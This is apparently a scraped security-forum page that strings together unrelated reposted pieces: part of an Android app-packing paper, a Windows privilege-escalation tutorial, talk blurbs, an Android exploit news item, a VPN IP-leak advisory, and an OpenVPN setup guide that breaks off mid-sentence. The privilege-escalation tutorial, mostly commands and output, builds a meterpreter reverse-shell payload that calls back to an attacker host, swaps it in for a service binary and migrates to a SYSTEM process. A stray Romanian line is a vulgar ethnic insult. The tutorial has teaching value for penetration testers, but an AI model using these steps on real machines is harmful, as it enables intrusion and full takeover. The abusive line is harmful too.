hard to understand. Besides, I think partial consolidation is stronger than entire consolidation in security. Like a previous case, a method only decrypts itself in running, once it’s not in running, it will be encrypted or removed. This equals to using the flaw of the low coverage rate if dynamic execution to further protect itself. The third is for better consolidation, the consolidation process should be performed in the middle of development instead of the current before development. Some consolidation SDK of today is a good practice in this direction. During development, some sensitive operations use an interface of a security library. Wether in performance or effects, this can dramatically improve the entire consolidation. Any developer who is familiar with the business will know exactly which part of code requires protection, because in fact there is only a few portion logics of an application requiring protection. By narrowing the range of consolidation, performance will be enhanced and singe security library can be targeted protected for better effects. Compared with entire APP consolidation, this is easier for compatibility test. The other idea of consolidation is to use Native code, especially for critical program logic. It’s harder to reverse Native code than Java, let alone the code after obfuscation or packing. Meanwhile Native code in fact can improve performance, it’s a win-win choice. This extents to how to deeply protect the native code in Android applications, if sensitive operation is protected by native code that is deeply obfuscated, the attack cost will surly be raised. At last, I think the trend of consolidation protection is to use less tricks, for instance, it’s not meaningful to use the bug of static analysis tools or the bug of system passing APK to perform protection, consolidation should focus more on the structure of the whole system instead of some little tricks. Sursa: A Research on general auto-unpacking methods for Android applications - Drops

windows privilege escalation via weak service permissions When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users. 1. System 2. Administrator 3. Regular user Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system. So let’s say you’re performing a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at insomniasec.com have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back. Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware awindows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command. wmic service list brief Your output should be similar to below, I’ve snipped the output for brevity. ... snip ... 1077 WMPNetworkSvc 0 Manual Stopped OK 1077 WPCSvc 0 Manual Stopped OK 0 WPDBusEnum 0 Manual Stopped OK 0 wscsvc 752 Auto Running OK 0 WSearch 2140 Auto Running OK 0 wuauserv 856 Auto Running OK First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7. So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission. On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services. for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below. [TABLE=width: 891] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [/TD] [TD=class: code]" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe BUILTIN\IIS_IUSRS:(I)(RX) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE" C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) WIN-B5JHUDECH2P\homer:(I)(F) Successfully processed 1 files; Failed processing 0 files c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE" C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files [/TD] [/TR] [/TABLE] For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command. The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a service with weak permissions which can also be seen on line 17 in the output above. C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE" C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F) The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grabbacktrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable. [TABLE=width: 891] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [/TD] [TD=class: code]root@bt:~# ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:0c:29:11:1e:53 inet addr:192.168.134.135 Bcast:192.168.134.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9227 errors:0 dropped:0 overruns:0 frame:0 TX packets:396 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:650604 (650.6 KB) TX bytes:123409 (123.4 KB) Interrupt:19 Base address:0x2024 root@bt:~# cd /pentest/exploits/framework root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"} root@bt:/pentest/exploits/framework#[/TD] [/TR] [/TABLE] The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory. Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this. Next rename the original ose.exe to something different and name exploit.exe to ose.exe So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command. root@bt:/pentest/exploits/framework#./msfconsole You should now have a “msf” console, next run the following commands. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 [/TD] [TD=class: code]msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.134.135 lhost => 192.168.134.135 msf exploit(handler) > set lport 80 lport => 80 msf exploit(handler) >[/TD] [/TR] [/TABLE] At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly. [TABLE=width: 581] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [/TD] [TD=class: code]msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.134.135 yes The listen address LPORT 80 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target[/TD] [/TR] [/TABLE] If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]msf exploit(handler) > exploit [*] Started reverse handler on 192.168.134.135:80 [*] Starting the payload handler...[/TD] [/TR] [/TABLE] Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service. C:\Users\homer>wmic service ose call startservice You should see similar output when you run this command. Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice() Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following. [TABLE=width: 758] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code] [*] Sending stage (752128 bytes) to 192.168.134.134 [*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400 meterpreter >[/TD] [/TR] [/TABLE] Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended. [*] Meterpreter session 1 closed. Reason: Died Back on the windows machine there’s also some output on the command prompt. Method execution successful. Out Parameters: instance of __PARAMETERS { ReturnValue = 7; }; The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue. wmic process list brief | find "winlogon" Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click“show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]meterpreter > migrate 460 [*] Migrating to 460... [*] Migration completed successfully. meterpreter >[/TD] [/TR] [/TABLE] Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >[/TD] [/TR] [/TABLE] At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion. There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges. Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [/TD] [TD=class: code]meterpreter > getsystem -h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -h Help Banner. -t <opt> The technique to use. (Default to '0'). 0 : All techniques available 1 : Service - Named Pipe Impersonation (In Memory/Admin) 2 : Service - Named Pipe Impersonation (Dropper/Admin) 3 : Service - Token Duplication (In Memory/Admin) 4 : Exploit - KiTrap0D (In Memory/User)[/TD] [/TR] [/TABLE] Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 [/TD] [TD=class: code]meterpreter > exit [*] Shutting down Meterpreter... [*] Meterpreter session 2 closed. Reason: User exit msf exploit(handler) >[/TD] [/TR] [/TABLE] Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]msf exploit(handler) > exploit [*] Started reverse handler on 192.168.134.135:80 [*] Starting the payload handler...[/TD] [/TR] [/TABLE] Now on our windows target machine let’s run our exploit.exe [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]c:\Users\homer\Desktop>exploit.exe c:\Users\homer\Desktop>[/TD] [/TR] [/TABLE] Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back. [TABLE=width: 758] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code] [*] Sending stage (752128 bytes) to 192.168.134.134 [*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400 meterpreter >[/TD] [/TR] [/TABLE] Now let’s try the “getsystem” command and see what happens. meterpreter > getsystem Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output. [TABLE=width: 547] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]meterpreter > getsystem [-] Error running command getsystem: Rex::TimeoutError Operation timed out. meterpreter >[/TD] [/TR] [/TABLE] So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message. This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command. c:\psexec.exe -s cmd.exe After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user. To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation. If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks. Sursa: http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/

Doresc sa-ti iau neamul de mongoli in pula.

Lista lunga: List of Bug Bounty Programs INTERNATIONAL 426+ OFFICIAL - Bug Bounty Sheet VULNERABILITY LAB

Kevin Breen - DarkComet From Defense To Offense - Identify your Attacker DarkComet is A Remote Access Trojan that has been around for a while. It has been used by script kiddies and nation states alike. It is no longer in active development and It is well documented and understood. So why would you be interested in me talking to you about this bit of malware? Because it has an vulnerability and a public exploit that can tell you a lot about the attackers campaign. How many machines has he infected, where are the infected hosts, what information has he stolen from these machines? Taking the exploit one step further and adding a little imagination and forensics knowledge we can start to identify the attacker himself. Identifying the IP and domain is easy and will give you some info. But what if you could get his daily email address, Facebook details, favourite coffee shop, local library, copy of his CV and if you are really lucky a txt file containing all the credentials for his remote exploit sites and FTP dumps. This presentation is not going to look at the deep technical aspects of the exploit instead it will start with the defensive posture against dark comet and extract some key information from an attack against you. Finishing with a case study showing what information can be extracted from the attacker. More info: https://techanarchy.net/2015/11/darkcomet-hacking-the-hacker/

Researcher Hijacks Android Phone via Chrome Vulnerability By SecurityWeek News on November 13, 2015 Over the past few months, Google has been busy squashing security vulnerabilities in its popular Android mobile operating system, but many remain undiscovered, and some can be easily exploited. Chinese researcher Guang Gong from Qihoo 360 demonstrated at MobilePwn2Own at the PacSec conference in Tokyo how an Android device running the latest version of the operating system can be hijacked by exploiting a JavaScript v8 vulnerability through the Chrome browser. Granted, the security flaw did not reside in the Android OS itself, but devices running on the platform are vulnerable. Gong discovered a JavaScript v8 vulnerability in Chrome for Android that allowed him to install an arbitrary application on the affected device, in this case a BMX Bike game, without requiring any user interaction, PacSec organizer Dragos Ruiu explained in a Google+ post. As long as Chrome is used to navigate to a malicious site an attacker set up, the device can be infected. The exploit was demonstrated on a Google Project Fi Nexus 6 running the latest Android 6.0 Marshmallow build and with all applications up-to-date. The researcher demonstrated that the vulnerability could provide an attacker with complete control of the device, and that successful exploitation does not require chaining multiple vulnerabilities. This one shot exploit was revealed after three-months of work, Ruiu said, but exact details on the security flaw were not publicly disclosed. According to Ruiu, the exploit was tested on other devices as well, and it worked on all of them. Given that the vulnerability is in the JavaScript engine in Chrome, it is believed to affect all Android versions with the latest version of the browser installed. Details on the vulnerability were handed to a Chrome engineer at the conference, Ruiu announced via Twitter. Unfortunately for Gong, his presentation at the conference did not result in an immediate reward for his efforts, though it is likely that Google will reward him for discovering the vulnerability, as the company has a bug bounty program set up for Chrome and Chrome OS. “Since we don't have any lavish prizes for him, I'm bringing him to Canada next year for some skiing/snowboarding at CanSecWest,” Ruiu said, so it seems that a prize will be coming from the PacSec organizers. Google will most likely resolve the vulnerability soon, even if the details on the exploit haven’t been made public as of now. Security researchers have discovered a series of critical Android vulnerabilities this year, including the Stagefright flaw that affected close to a billion devices, and a Stagefright 2 issue suspected to affect devices running all Android versions, starting with the initial release. Sursa: http://www.securityweek.com/researcher-hijacks-android-phone-chrome-vulnerability

[h=1]Funky File Formats [31c3][/h] Funky File Formats Advanced binary tricks Binary tricks to evade identification, detection, to exploit encryption and hash collisions. * artistic binaries - why they are possible, how they work. - quines - polyglots & chimeras - schizophrenic - AngeCryption - hash collisions * challenges and failures ?????????? ?Speaker: Ange Albertini ?EventID: 5930 ?Event: 31th Chaos Communication Congress [31c3] of the Chaos Computer Club [CCC] ?Location: Congress Centrum Hamburg (CCH); Am Dammtor; Marseiller Straße; 20355 Hamburg; Germany ?Language: english ?Begin: Mon, 12/29/2014 + ?License: CC-by

IP leak affecting VPN providers with port forwarding Perfect Privacy, 26. November 2015 Vulnerability “Port Fail” reveals real IP address We have discovered a vulnerability in a number of providers that allows an attacker to expose the real IP address of a victim. “Port Fail” affects VPN providers that offer port forwarding and have no protection against this specific attack. Perfect Privacy users are protected from this attack. This IP leak affects all users: The victim does not need to use port forwarding, only the attacker has to set it up. We have tested this with nine prominent VPN providers that offer port forwarding. Five of those were vulnerable to the attack and have been notified in advance so they could fix this issue before publication. However, other VPN providers may be vulnerable to this attack as we could not possibly test all existing VPN providers. Details about the leak The attacker needs to meet the following requirements: Has an active account at the same VPN provider as the victim Knows victim’s VPN exit IP address (can be obtained by various means, e.g. IRC or torrent client or by making the victim visit a website under the attackers control) The attacker sets up port forwarding. It makes no difference whether the victim has port forwarding activated or not. The IP leak can then be triggered as follows: Victim is connected to VPN server 1.2.3.4 Victim’s routing table will look something like this: 0.0.0.0/0 -> 10.0.0.1 (internal vpn gateway ip) 1.2.3.4/32 -> 192.168.0.1 (old default gateway) Attacker connects to same server 1.2.3.4 (knows victim’s exit through IRC or other means) Attacker activates Port Forwarding on server 1.2.3.4, example port 12345 Attacker gets the victim to visit 1.2.3.4:12345 (for example via embedding <img src=”http://1.2.3.4:12345/x.jpg”> on a website) This connection will reveal the victim’s real IP to the attacker because of the “1.2.3.4/32 -> 192.168.0.1” vpn route. The crucial issue here is that a VPN user connecting to his own VPN server will use his default route with his real IP address, as this is required for the VPN connection to work. If another user (the attacker) has port forwarding activated for his account on the same server, he can find out the real IP addresses of any user on the same VPN server by tricking him into visiting a link that redirects the traffic to a port under his control. Also note that due to the nature of this attack all VPN protocols (IPSec, OpenVPN, PPTP, etc.) and all operating systems are affected. Mitigation Affected VPN providers should implement one of the following: Have multiple IP addresses, allow incoming connections to ip1, exit connections through ip2-ipx, have portforwardings on ip2-ipx On Client connect set server side firewall rule to block access from Client real ip to portforwardings that are not his own. Sursa: https://www.perfect-privacy.com/blog/2015/11/26/ip-leak-vulnerability-affecting-vpn-providers-with-port-forwarding/

dai.s.u.scu.ele@gmail.com "Dai sus cu ele"?

About OpenVPN: If you’re looking for a way to safely and easily access the internet from either your smart phone, laptop or any other device from an untrusted network like some Hotel’s wifi or a restaurant’s. The answer to that question is a virtual private network (VPN) that gives you the ability to roam untrusted networks quite securely and privately like you were on a private and secure network. The traffic then comes out and makes it way to the required destination. Combining this setup with HTTPS connections lets you secure the wireless logins and the transactions that you make. One can also jump past all the geographical restrictions, censorships, shield their location and the unencrypted HTTP traffic from the network that is not trusted. OpenVPN is an open source, fully featured SSL (Secure Socket Layer) VPN answer that comprises on a vast range of configurations. This article will explain to you the way to set up in OpenVPN server on a Droplet and then change access to it from a different operating system like Windows, OS X, iOS or Android. The article will keep configuration and installation process as simple as it can be for these setups. Prerequisites: The only thing that you need beforehand is to have Ubuntu 14.04 Droplet up and running. You will need root access to complete the rest of the article. Step 1 (Install and Configure the Environment of OpenVPN Server) To setup the Server Side for your OpenVPN you need to complete the following step. OpenVPN Configuration We need to update Ubuntu’s repository lists before we install any packages. After doing so we can install Easy-RSA and OpenVPN. The file VPN server configuration must be extracted to /etc/openvpn so that we can add this to our setup. One single command can be used to do this. gunzip –c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz > /etc/openvpn/server.conf So when this has been extracted we must open server.conf in text editor. We will edit this by using Vim but you can use whichever text editor you want to. There are a number of changes to be made. You will see a section like this: Edit dh1024.pem to dh2048.pem Doing this will multiply the RSA key length to twice its original size while generating server and client keys. Stay inside server.conf and look for this section Remove the comment push “redirect-gateway defl bypass-dhcp”. By doing this, the VPN server passes on clients’ web traffic to is required destination. The next edit to be done here: Remove the comments so that the last two lines of the above section look like this: This will tell the server too push OpenDNS to the clients that are connected for DNS resolution wherever possible. This will help prevent the leakage off DNS requests outside the VPN connection. It is also necessary to mention the desired DNS resolvers in client devices too. Although OpenDNS is by default used by OpenVPN but you can use whichever DBS services you like. The last area to edit in server.conf is: Remove the comments from the last two lines of the section above so they may look as such: OpenVPN runs root user by default and in turn has full access to the system. OpenVPN will be restricted by us to just user nobody and group nogroup. This user has no ability to login and is simply just an unprivileged user. This user is also kept to run untrusted applications like web-facing servers. Changes must be saved and Vim must be closed now. Packet forwarding This setting is a sysctl setting and what it does is that it tells the server’s kernel to send the traffic from the client devices out through the internet. If not done so, the traffic will stop at the server. Packet forwarding should be enabled at runtime by this command: This should be made permanent so that the server may still forward traffic after the system reboots. At the top of the sysctl file, there will be: Uncomment net.ipv4.ip_forward. It should be like: Save what changes you have made and then exit. Uncomplicated Firewall (ufw) It’s a front end for iptables and setting it up is quite easy. It’s already present in Ubuntu 14.0.4 by default so all we have to do is configure some settings and rules and just switch the firewall on. Firstly set ufw to all SSH. In the command prompt ENTER : This article will use OpenVPN instead of UDP, ufw must be set such as to allow UDP traffic over port 1194. Now we have to set ufw forwarding policy. We’ll edit ufw’s primary file for this. Look for DEFAULT_FORWARD_POLICY=”DROP” and change it to DEFAULT_FORWARD_POLICY=”ACCEPT”. After doing this we will add some more rules for translation of network address and masquerading IPs of clients that are connected. Now make the top of the before.rules file look like it is below. The area in red for OPENVPN RULES will be added next: After the changes have been made, we can enable it. Go to command prompt: Doing so will return this prompt: Answer y. The result will then be: Now we’ll check ufw’s firewall status: Entering this command should return something like this: Step 2 – Creating A Certificate Authority and Server-Side Certificate And Key Certificates are used by OpenVPN to encrypt files. Configuring and Building the Certificate Authority Now it’s time to generate our own Certificate Authority (CA) and generate certificates and keys for the OpenVPN server. Bidirectional Authentication is supported based on certificated is supported by OpenVPN which means that the client and the server must authenticate the certificate before trust is mutually established between them. To do this we will use Easy RSA’s scripts that we copied earlier. Firstly we copy the Easy RSA generation scripts. Then the key storage directory should be made: There is a variables file that can be edited to create certificates exclusive to our business, person or whatever entity of our choice. This information will be copied to the keys and the certificates, later helping in identifying keys. The variables that are marked below in red should be changed so to what you prefer. In the very same vars file we also need to edit this one single line below. Just for the sake of simplicity we are using server as the key name. If you intend to use a different name then you’re going to need to update the OpenVPN configuration files that reference server.key and server.crt. Now we need to generate the Diffie-Hellman parameter which will take several minutes. Now we’ll me changing directories so that we can work directly out of where we moved the Easy RSA’s scripts to in STEP 2. Now we’ll be initializing the Public Key Infrastructure. Special attention is needed to be paid to the dot (.) and the space in front of. /vars command. This tells the current directory where we’re working. The output that is generated form the above command is shown below. There is nothing yet that has been generated y us in the keys directory so the warning is nothing to get alarmed about. Now we’ll make way for our new keys by clearing out all the old or possibly any existing keys that may be there in the directory: This last command invokes an interactive OpenSSL command and builds the certificate authority (CA). The output will ask you to confirm the variables that were entered before into the Easy RSA variable file. Just press ENTER to pass through every prompt. If you feel like something should be changed then you can do that from within the prompt. Generate a Certificate and Key for the Server We’re still working form /etc/openvpn/easy-rsa , now enter the command to build the key for the server. The server marked in red is the export KEY_NAME variable that we set in Easy RSA’s vars file in STEP 2. Same output is generated when we have the command. /build-ca , you can press ENTER again to confirm every line of the distinguished name. This time however you’ll see two addition prompts: Both spaces should be left blank, just press ENTER to skip each one. Two queries at the end require a positive (y) response: Lastly the above prompt should complete with: Move the Server Certificate and Keys OpenVPN is set by default to see the certificate, keys and the server’s CA in /etc/openvpn. Now we need to copy the required files into the proper location so that OpenVPN can easily access the files for further usage. If your copy was successful, you can verify it by: Now you should see the certificate and key files to the server in the desired location. Currently at this stage, the OpenVPN is up and ready to go. You should now start t and check the status. The command that you should see in return would be like this: Congratulations! You have successfully configured your OpenVPN server and it should be operational. If for some reason the status message says that the VPN is not running then you should take a closer look at your /var/log/syslog file for any bugs or errors such as: He error mentioned above indicates that server.key was not yet copied into /etc/openvpn correctly. You need to re-copy the file again to the directory and follow the procedure to try again and convert your OpenVPN to its operational state. Step 3 – Generate Certificates and Keys for Clients Up till now we have installed and configured the OpenVPN server. We created a Certificate Authority and created a certificate and keys just for the server. This step tells us how we use the server’s CA to make certificates and keys for every client device that is going to be connected to the VPN. All of these files will then be installed on to the client devices such as smartphones or laptops later on. Key and Certificate Building Ideally its required that each client connecting to the VPN have its own certificate and key. This is preferred to generating a general certificate and key for all the clients that are connected to the VPN. It should be noted that OpenVPN by default does not allow connections from clients using the same certificate and key to the server simultaneously. This step should be completed if you intend to create separate authentication credentials for each device that is to be connected to the VPN. Change the name client1 under to something different like client2 or iphone2. If we give every device its separate credentials then it can be individually deactivated at the server side when needed. The rest of the article shall use client1 as the example client device’s name. Now we’re going to build a key for the client1 as we did for the server. The working directory that you should be in is /etc/openvpn/easy-rsa . As with the case of the server you’ll be asked again to confirm or change the distinguished name variables and just like before these two should be left blank. Press ENTER to accept the default settings. Just like before, these two confirmations will need a (y) response at the end of the build process: If the key build succeeds then the output just like before will be: The example client configuration needs to be copied to the Easy-RSA key directory. This example configuration file shall be used as a template that will be downloaded to the client devices and then be edited. While copying we’ll be changing the name of the example file form client.conf to client.ovpn because the .ovpn is the extension that all the clients will expect to use. cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/easy-rsa/keys/client.ovpn This section can be repeated for each client by replacing client1 with the right client name. Transferring Certificates and Keys to Client Devices Remember from the steps above that we created the keys and certificates and the directory in which we stored them after they were made was /etc/openvpn/easy-rsa/keys. For every client connected we must transfer the client profile template, certificate and key files to a folder either on our local computer or another client device. In this article the client1 device requires its keys and certificate that are located on the server in: The 